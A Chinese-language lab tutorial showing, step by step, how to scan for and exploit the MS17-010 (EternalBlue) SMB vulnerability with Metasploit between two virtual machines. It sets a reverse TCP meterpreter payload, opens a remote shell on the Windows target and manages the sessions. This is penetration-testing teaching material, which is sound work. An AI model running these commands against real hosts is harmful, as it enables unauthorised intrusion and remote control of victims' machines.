一、環境配置
這里我們先打開兩個虛擬機——kali(192.168.1.105)、windows 2008R2(192.168.1.114)(windows 7也行)
二 、實驗過程
我們進入kali的控制台輸入:msfconsole 進入metasploit框架。
尋找MS17_010漏洞: search ms17_010。
這里找到了兩個模塊,第一個輔助模塊是探測主機是否存在MS17_010漏洞,第二個是漏洞利用模塊,我們先探測哪些主機存在漏洞。
Auxiliary輔助探測模塊:該模塊不會直接在攻擊機和靶機之間建立訪問,它們只負責執行掃描,嗅探,指紋識別等相關功能以輔助滲透測試。
輸入命令:use auxiliary/scanner/smb/smb_ms17_010。然后使用命令show options,查看這個模塊需要配置得信息
RHOSTS 參數是要探測主機的ip或ip范圍,我們探測一個ip范圍內的主機是否存在漏洞
輸入:set RHOSTS 192.168.1.114
輸入:exploit 攻擊,這里有+號的就是可能存在漏洞的主機,這個主機存在漏洞
Exploit漏洞利用模塊
然后我們就可以去利用漏洞攻擊了,選擇漏洞攻擊模塊:use exploit/windows/smb/ms17_010_eternalblue
查看這個漏洞的信息:info
查看可攻擊的系統平台,這個命令顯示該攻擊模塊針對哪些特定操作系統版本、語言版本的系統:show targets
這里只有一個,所以我們在這里就不用設置了。有些其他的漏洞模塊對操作系統的語言和版本要求的很嚴,比如MS08_067,這樣就要我們指定目標系統的版本的。如果不設置的話,MSF會自動幫我們判斷目標操作系統的版本和語言(利用目標系統的指紋特征)
Payload攻擊載荷模塊
攻擊載荷是我們期望在目標系統在被滲透攻擊之后完成的實際攻擊功能的代碼,成功滲透目標后,用於在目標系統上運行任意命令。
查看攻擊載荷:show payloads——這是查看當前漏洞利用模塊下可用的所有Payload
這里我們選擇箭頭標記這個。這是一個常用的反向連接的payload。
設置攻擊載荷:set payload windows/x64/meterpreter/reverse_tcp
然后查看需要配置的參數:show options
設置RHOST,也就是要攻擊主機的ip:set RHOST 192.168.1.114
設置LHOST,也就是我們主機的ip,用於接收從目標機彈回來的shell:set LHOST 192.168.1.105
如果我們這里不設置lport的話,默認是4444端口監聽
因為我這個已經設置好了就不再演示了。
攻擊:run/exploit
運行了exploit命令之后,我們開啟了一個reverse TCP監聽器來監聽本地的 4444 端口,即我(攻擊者)的本地主機地址(LHOST)和端口號(LPORT)。運行成功之后,我們將會看到命令提示符 meterpreter > 出現,我們輸入: shell 即可切換到目標主機的windows shell,要想從目標主機shell退出到 meterpreter ,我們只需輸入:exit
我們要想從 meterpreter 退出到MSF框架,輸入:background
輸入: sessions -l 查看我們獲得的shell,前面有id
輸入: sessions -i 1 即可切換到id為1的shell